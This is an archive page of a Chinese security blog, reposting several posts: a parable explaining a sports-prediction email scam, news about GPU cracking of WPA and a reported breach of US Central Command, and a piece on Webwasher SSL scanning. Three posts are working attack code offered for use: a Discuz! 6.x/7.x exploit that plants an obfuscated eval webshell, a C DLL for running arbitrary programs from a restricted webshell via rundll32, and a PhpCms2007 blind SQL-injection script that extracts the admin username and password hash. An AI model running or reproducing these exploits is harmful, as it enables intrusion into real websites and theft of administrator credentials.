分类 "网络安全" 的存档.

智慧的骗术与钓鱼式攻击

钓鱼式攻击是什么东西呢?其实很简单:

某人Email给你:给我500块,预知你的未来,可以提前通知你,明天国王跟火箭队的比赛,火箭队会赢!

你当然不信啦,但是第二天的比赛,火箭队真的赢了,你说:巧合,巧合而已。

过了几天,他又email给你:给我500快,预知你的未来,可以提前通知你,明天湖人跟火箭队的比赛,湖人赢了。

你有点好奇,但你是绝对不会把钱给他的,但是第二天的比赛,湖人真赢了,你说:诶?难道是潜规则?

又过了几天,他又email给你:给我500快,预知你的未来,可以提前通知你,明天湖人跟七六人队的比赛,湖人赢了。

你开始猜,是不是真的啊?但第二天的比赛,湖人又赢了。

……

经过若干次循环后,你终于想要预知你的未来了。但是当你把钱汇出去没有得到答复时,你才知道上当了!

因为事情是这样的:

第一次发信8192封,一半说国王赢,一般说火箭赢;

第二次只给说火箭赢的4096人发信,分为2048人为湖人赢,2048为火箭赢;

第三次只给说湖人赢的2048人发信,分为1024人为湖人赢,1024为七六人赢;

……

很有可能他最终欺骗到的人只有10,但是这已经足够!

所以你可以说钓鱼式攻击一点技术含量都没有,不过可能你仍会因此被骗。

另外钓鱼者超多,请小心诱饵!

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/491

GPU破解无线WPA/WPA2密码并不可行

几周之前,Elcomsoft公司宣布了一种强力密码恢复工具,可允许用户使用显卡GPU来暴力破解无线WPA(WiFi Protected Access)和WPA2密码。Elcomsoft声称这种密码恢复工具也可以通过网络分布式计算加速破解过程,破解WPA/WPA2密码的破解系数为100%。但是这种破解方法是否真的有效呢?

据最近Elcomsoft公司的Email告知,如果没有使用字典的话破解仍然相当困难,使用双NVIDIA GTX 280显卡破解8位随机密码的时间长达3个月。尽管算法已经获得加强,机器仍然猜测了2000亿组可能的密码组合。

Elcomsoft的工作人员Belenko表示,如果使用中档Core 2 Duo处理器,每秒可猜测400次密码。如果加上NVIDIA GTX 280显卡可每秒猜测12500次。若是换上1700元的Tesla S1070,那么每秒的破解次数可达到50000次。Belenko认为,如果换上15000美元的硬件,那么破解8位密码最少1个星期就能完成。

看起来使用暴力破解WPA/WPA2密码目前仍然困难,虽然有了GPU加速等方法作为支撑,但是破解仍然需要耗费较长的时间。另外,众所周知的常识,若是密码增加一个字符,那么破解时间将大大增加。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/494

俄黑客成功侵入美军中央司令部网络

据英国媒体报道,近日俄罗斯黑客成功入侵美军中央司令部电脑网络,并传播大量?恶意软件?。这一事件已经引起美国军方高层和布什总统的关注。

美军参谋长联席会议主席迈克尔·马伦在给布什总统和国防部长罗伯特·盖茨的工作简报中指出,网络攻击问题已经十分严重。国防部的官员向《洛杉矶时报》透露,负责阿富汗和伊拉克战争事务的美军中央司令部网络遭到了黑客入侵,大量恶意软件弥漫整个网络。

一位匿名官员指出,?这起网络袭击造成的后果十分严重,这已经引起了我们的注意。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/493

Discuz! 6.x/7.x SODB-2008-13 Exp

复制内容到剪贴板程序代码程序代码
1 #!/usr/bin/php
2
3 /** * Discuz! 6.x/7.x SODB-2008-13 Exp * By www.80vul.com * 文件中注释的变量值请自行修改 */
4
5 $host = 'www.80vul.com';
6 // 服务器域名或IP
7 $path = '/discuz/';
8 // 程序所在的路径
9 $key = 0;
10 // 上面的变量编辑好后,请将此处的值改为1
11
12 if (strpos($host, '://') !== false || strpos($path, '/') === false || $key !== 1)
13 exit("专业点好不,先看看里面的注释 -,-\n");
14
15 error_reporting(7);
16 ini_set('max_execution_time', 0);
17
18 $key = time();
19 $cmd = 'action=register&username='.$key.'&password='.$key.'&email='.$key.'@80vul.com&_DCACHE=1';
20 $resp = send();
21
22 preg_match('/logout=yes&formhash=[a-z0-9]{8}&sid=([a-zA-Z0-9]{6})/', $resp, $sid);
23
24 if (!$sid)
25 exit("哦,大概是没有开启WAP注册吧 -,-\n");
26
27 $cmd = 'stylejump[1]=1&styleid=1&inajax=1&transsidstatus=1&sid='.$sid[1].'&creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}';
28 send();
29
30 $shell = 'http://'.$host.$path.'forumdata/cache/eval.php';
31
32 if (file_get_contents($shell) == '80vul')
33 exit("好了,去看看你的WebShell吧:\t$shell\n里面的代码是:\t\$_POST[c])?>\n别告诉我你不会用 -,-\n");
34 else
35 exit("嗯,大概是该网站不存在漏洞,换一个吧 -,-\n");
36
37 function send()
38 {
39 global $host, $path, $url, $cmd;
40
41 $data = "POST ".$path."wap/index.php HTTP/1.1\r\n";
42 $data .= "Accept: */*\r\n";
43 $data .= "Accept-Language: zh-cn\r\n";
44 $data .= "Referer: http://$host$path\r\n";
45 $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
46 $data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1\r\n";
47 $data .= "Host: $host\r\n";
48 $data .= "Connection: Close\r\n";
49 $data .= "Content-Length: ".strlen($cmd)."\r\n\r\n";
50 $data .= $cmd;
51
52 $fp = fsockopen($host, 80);
53 fputs($fp, $data);
54
55 $resp = '';
56
57 while ($fp && !feof($fp))
58 $resp .= fread($fp, 1024);
59
60 return $resp;
61 }
62
63 ?>
64

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/499

用Webwasher防止恶意软件利用HTTPS通信

      Webwasher如何通过SSL扫描器模块,防止恶意软件利用HTTPS通信。它还可以防止用户通过流行的CGI代理绕过传统的Web内容过滤 器。这对于阻止敏感数据离开公司网络是很重要的。除了其SSL扫描器,Webwasher还提供了其它几个模块,如URL过滤、反恶意软件、传统的反病 毒、反垃圾邮件、内容报告器、IM过滤器等,你可以根据需要选择。

      我们将讨论恶意软件(和用户)如何利用SSL绕过你的其它控制,以及Webwasher如何解决这个问题。

      公司存在着哪些SSL问题?

      Web加密对于今天的企业来讲是非常重要的,不过对于防火墙上开放着端口443(HTTPS通道)的企业来说,在其网络中存在着一个严重的安全漏 洞。传统的防火墙和网关反病毒方案并不能扫描加密的通信,因此也就不能控制哪些内容通过HTTPS进入和流出企业网络。这向企业提出了一种风险,企业可能 并没有认识到,它们不能依靠其HTTP过滤器来保护HTTPS的加密通信。

      风险还存在于规章制度的一致性上。如果一个组织允许开放SSL通道(它包含规章制度极力控制的机密信息),它还能保持一致性吗?此外,黑客们和恶意 的雇员等都知道通过HTTPS通道进行的通信完全开放并未加保护,因此他们就会继续利用HTTPS协议来绕过内容过滤机制,用以传播潜在的恶意内容。

      如今,有很多URL过滤避绕代理可以利用HTTPS连接。当前,没有一个已确定的防火墙或Web网关反病毒解决方案能够进入其中查看这种通信。此外,我们看到一些流行的广告软件和间谍软件从IRC和HTTP转换到了HTTPS协议,其目的是避开已确立的网关过滤器。

      Webwasher如何解决这个问题

      我们认为唯一可行的方案是临时对SSL通信解密,扫描,然后再重新加密。

      这种方法与现在流行的代理服务器防火墙的做法不同。后者仅是解密(换句话说,即?终止?),运用病毒扫描,然后转发到终端用户或Web应用程序。这种安全措施不能用于今天的Web环境,因为它会使端到端的加密需求无效,并会使浏览器产生混乱。

      SSL安全代理,如Webwasher就如同一个?黑盒子?一样动作。SSL的加密通信进入,然后SSL的加密通信流出。任何人都不能加密的部分或 在网络上嗅探它,这完全是在内存中处理的。现在有几个方案能够在一个单独的机器上提供SSL解密,将解密的通信转发到一个扫描器,扫描器将此通信返回到 SSL方案,SSL方案对其重新加密。此外,典型情况下,你需要调整策略,例如,允许上层管理人员执行在线业务而无需扫描,但要对其他任何人的通信都要扫 描。在多数情况下,这会要求双倍的管理成本,不过用Webwasher实现则轻松得多。

      Webwasher SSL扫描器如何精确地工作?

      基本说来,我们要做的是要将浏览器与服务器之间的一个SSL连接分为两个独立的SSL连接。对于浏览器连接到加密的Web站点的请 求,Webwasher SSL扫描器实际上为浏览器执行此操作。这样的一个好处是具备了执行SSL证书检查的能力,而不是将它留给终端用户。我们都清楚这种弹出窗口,它问我们 说,我们启动了一个与加密Web站点的会话,你是否想接受证书?我们看到,许多情况下,90%的或更多的终端用户只是单击?接受?,并不关心证书的合法 性,是否自签名,是否到期等。一旦Webwasher确认了证书的合法性,我们就启动了一个SSL会话,然后终止之。

      对于Web服务器来说,Webwasher充当着一个正常的浏览器。这样我们拥有了加密的通信,而且能够运用内容安全、反病毒、反恶意软件和转出的 内容过滤器等机制。记住,所有的这一切者都是在同样的机器上和内存中进行的,因此这里并不存在什么私密问题。一旦我们搞定了过滤问题,我们就充当了真实终 端用户的一个Web服务器。Webwasher用客户公司证书或一个拥有Web服务器名字的自签名证书重新加密通信。如果你连接到了自己的服务器账户上, 授权证书还会描述其它内容。客户需要做的是展示其自身的正式证书或自签名证书,终端用户将不会再收到授权证书的消息弹出窗口。

      IT部门需要维持证书的优良者名单吗?用户们是否会抱怨?

      我们能够使管理成本接近于零。Webwasher部件或软件在日常的活动基础上检查已撤消的证书,因此你总能保持最新。Webwasher还采用了 一种培训模式。因此,用户可以启动Webwasher SSL的扫描器,基本上它会接受提供的所有证书,并加以存储。在培训结束之后,管理人员就可以进入并查看有请求了哪些证书,并放弃那些不正常的证书。 Webwasher提供了一套工具,借此管理人员并不需要成为一个事件专家。一旦这个培训阶段结束,管理成本就微乎其微了。

      Webwasher如何防止用户利用SSL代理服务器避开Web内容过滤器?

      如前所述,现在有大量的用户上网冲浪是依靠SSL的加密通信的。典型情况下,URL的过滤器厂商会将应用程序试图连接的服务器列入黑名单,设法阻止 其访问。不过,这是一场没有结束的战斗,总会有一个厂商建立一个新的服务器而你没有对其阻止。而且还涉及到数据丢失问题。我们可以看到典型的间谍软件和广 告软件从IRC和HTTP后端通道转向了HTTPS后端通道,因为黑客们已经断定这个通道并没有阻止或加以控制。这方面的两个流行的例子即是Gator和 Cool WebSearch。

      举例来说,可以对Webwasher进行配置,只允许某些合法的信用卡号码,以及属于于银行和购物站点种类的已知站点。即使你用一个特洛伊木马试图 窃取PC机上的一个信用卡号码,它也不可能将这个信息返回;更不用说通过HTTPS进行了。用户还可以采用针对即时通信和点对点的方案,只是这些方案不在 同一台机器上而已。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/500

艰难的在webshell中执行程序

摘要:一个web shell,系统权限设置得很好,常用的exe都无权执行。可写目录传上去的exe文件,也没有执行权限。最终发现设置权限的时候漏掉了rundll32.exe,如是就写了这个个代码。

测试开始的时候,PHP似乎没权执行命令。本来打算用php本身的一些溢出问题,溢出一个低权限的shell来的。后来意外发现使用proc_open函 数可以执行一些内部命令,只是外部命令和目录都做了比较严格的权限设置而已。于是就测试可能可以利用的外部命令,最终测试到了rundll32.exe程 序,终于没有返回权限不足。写一个dll,给rundll32调用,就可以间接的执行自己上传的任意exe文件了。也许是windows权限的一点小问 题?毕竟使用rundll32间接执行的exe,身份还是php shell的guest权限,虽然调用者变了??真正原因有待进一步研究。

复制内容到剪贴板程序代码程序代码
1 /************************************************************************************************* * 遇到一个服务器权限设置很畸形,系统exe基本都无法执行,自己上传的exe到可写目录,也不能执行。 * 遗憾的是,他们漏掉了rundll32.exe这个文件的权限,如是?? * code by wustyunshu###hotmail.com, 2008,11,13,23:20 *************************************************************************************************/
2
3
4
5 #include
6
7 #include
8
9 #include
10
11
12
13 // dll入口
14
15 BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
16
17 {
18
19 return true;
20
21 }
22
23
24
25 void RunExe( HWND hwnd, HINSTANCE hinst, LPSTR szCmdLine, int nCmdShow)
26
27 {
28
29 if( szCmdLine == NULL )
30
31 {
32
33 return;
34
35 }
36
37
38
39 DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, szCmdLine, -1, NULL, 0);
40
41 wchar_t *wszCmdLine = new wchar_t[dwNum];
42
43 if(!wszCmdLine)
44
45 {
46
47 return;
48
49 }
50
51 MultiByteToWideChar(CP_ACP, 0, szCmdLine, -1, wszCmdLine, dwNum);
52
53
54
55 int argc;
56
57 LPWSTR *argv = CommandLineToArgvW( wszCmdLine, &argc );
58
59
60
61 wchar_t Cmd[256] = { 0 };
62
63 wchar_t Args[1024] = { 0 };
64
65
66
67 //strncpy( Cmd, argv[0], sizeof(Cmd)-1 );
68
69 wcsncpy( Cmd, argv[0], sizeof(Cmd)-1 );
70
71 if( argc > 1 )
72
73 {
74
75 for( int index = 1; index < argc; index ++ )
76
77 {
78
79 wcscat( wcscat( Args, L" " ), argv[index] );
80
81 }
82
83 }
84
85
86
87 STARTUPINFO si;
88
89 memset( (void *)&si, 0, sizeof(STARTUPINFOA) );
90
91 GetStartupInfoW( &si );
92
93
94
95 //新进程输入输出重定向
96
97 si.cb = sizeof( si );
98
99 si.dwFlags = STARTF_USESHOWWINDOW;
100
101 //si.wShowWindow = SW_HIDE;
102
103
104
105 PROCESS_INFORMATION processInfo;
106
107 memset( (void *)&processInfo, 0, sizeof(PROCESS_INFORMATION) );
108
109
110
111 //建立进程
112
113 CreateProcessW( Cmd, Args, NULL, NULL, 1, 0, NULL, NULL, &si, &processInfo );
114
115
116
117 Sleep( 60 * 1000 );
118
119 TerminateProcess( processInfo.hProcess, 0 );
120
121 }
122

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/501

PhpCms2007 sp6 SQL injection 0day (wenba)

早前在phpcms 0day频发的时候写的这个exp,藏着这个exp藏了一个多月吧,也没有拿它去打站,一直丢在我硬盘里,今天看到11期的黑防公布了,于是我也丢出来吧:

复制内容到剪贴板程序代码程序代码
1 print_r(' ——————————————————————————– Phpcms2007 (wenba)blind SQL injection / admin credentials disclosure exploit BY oldjun[S.U.S](http://www.oldjun.com) ——————————————————————————– ');
2 if ($argc<3) {
3 print_r(' ——————————————————————————– Usage: php '.$argv[0].' host path host: target server (ip/hostname),without"http://" path: path to phpcms Example: php '.$argv[0].' localhost / ——————————————————————————– ');
4 die;
5 }
6
7 function sendpacketii($packet)
8 {
9 global $host, $html;
10 $ock=fsockopen(gethostbyname($host),'80');
11 if (!$ock) {
12 echo 'No response from '.$host; die;
13 }
14 fputs($ock,$packet);
15 $html='';
16 while (!feof($ock)) {
17 $html.=fgets($ock);
18 }
19 fclose($ock);
20 }
21
22 $host=$argv[1];
23 $path=$argv[2];
24 $prefix="phpcms_";
25 $cookie="PHPSESSID=2456c055c52722efa1268504d07945f2";
26
27 if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
28 {echo "Error… check the path!\r\n\r\n"; die;}
29
30 /*get $prefix*/
31 $packet ="GET ".$path."wenba/my_answer.php?status=1/**/union/**/select HTTP/1.0\r\n";
32 $packet.="Host: ".$host."\r\n";
33 $packet.="Cookie: ".$cookie."\r\n";
34 $packet.="Connection: Close\r\n\r\n";
35 sendpacketii($packet);
36 //echo $html;
37 if (eregi("in your SQL syntax",$html))
38 {
39 $temp=explode("FROM ",$html);
40 if(isset($temp[1])){$temp2=explode("wenba_answer",$temp[1]);}
41 if($temp2[0])
42 $prefix=$temp2[0];
43 echo "[+]prefix -> ".$prefix."\r\n";
44 }
45 echo "[~]exploting now,plz waiting…\r\n\r\n";
46
47 $packet ="GET ".$path."wenba/my_answer.php?status=1/**/or/**/1=1 HTTP/1.0\r\n";
48 $packet.="Host: ".$host."\r\n";
49 $packet.="Connection: Close\r\n\r\n";
50 sendpacketii($packet);
51 if (eregi(chr(182).chr(212).chr(178).chr(187).chr(198).chr(240),$html)) {echo "Error… There is no data in wenba,please register two users.One asks then the other answers!\r\n\r\n"; die;}
52
53 $chars[0]=0;//null
54 $chars=array_merge($chars,range(48,57)); //numbers
55 $chars=array_merge($chars,range(97,102));//a-f letters
56 $j=1;$password="";
57 while (!strstr($password,chr(0)))
58 {
59 for ($i=0; $i<=255; $i++)
60 {
61 if (in_array($i,$chars))
62 {
63 $packet ="GET ".$path."wenba/my_answer.php?status=1/**/or/**/1=(select/**/count(*)/**/from/**/".$prefix."member/**/where/**/ASCII(SUBSTRING(password,".$j.",1))=".$i."/**/and/**/userid=1) HTTP/1.0\r\n";
64 $packet.="Host: ".$host."\r\n";
65 $packet.="Connection: Close\r\n\r\n";
66 sendpacketii($packet);
67 if (!eregi(chr(182).chr(212).chr(178).chr(187).chr(198).chr(240),$html)) {$password.=chr($i);echo"[+]pwd:".$password."\r\n";break;}
68 }
69 if ($i==255) {die("Exploit failed…");}
70 }
71 $j++;
72 }
73
74 $j=1;$username="";
75 while (!strstr($username,chr(0)))
76 {
77 for ($i=0; $i<=255; $i++)
78 {
79 $packet ="GET ".$path."wenba/my_answer.php?status=1/**/or/**/1=(select/**/count(*)/**/from/**/".$prefix."member/**/where/**/ASCII(SUBSTRING(username,".$j.",1))=".$i."/**/and/**/userid=1) HTTP/1.0\r\n";
80 $packet.="Host: ".$host."\r\n";
81 $packet.="Connection: Close\r\n\r\n";
82 sendpacketii($packet);
83 if (!eregi(chr(182).chr(212).chr(178).chr(187).chr(198).chr(240),$html)) {$username.=chr($i);echo"[+]username:".$username."\r\n";break;}
84 if ($i==255) {die("Exploit failed…");}
85 }
86 $j++;
87 }
88 print_r(' ——————————————————————————– [+]username -> '.$username.' [+]password(md5 32?) -> '.$password.' ——————————————————————————– ');
89 function is_hash($hash)
90 {
91 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
92 else {return false;}
93 }
94 if (is_hash($password)) {echo "Exploit succeeded…";}
95 else {echo "Exploit failed…";}
96 ?>

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/502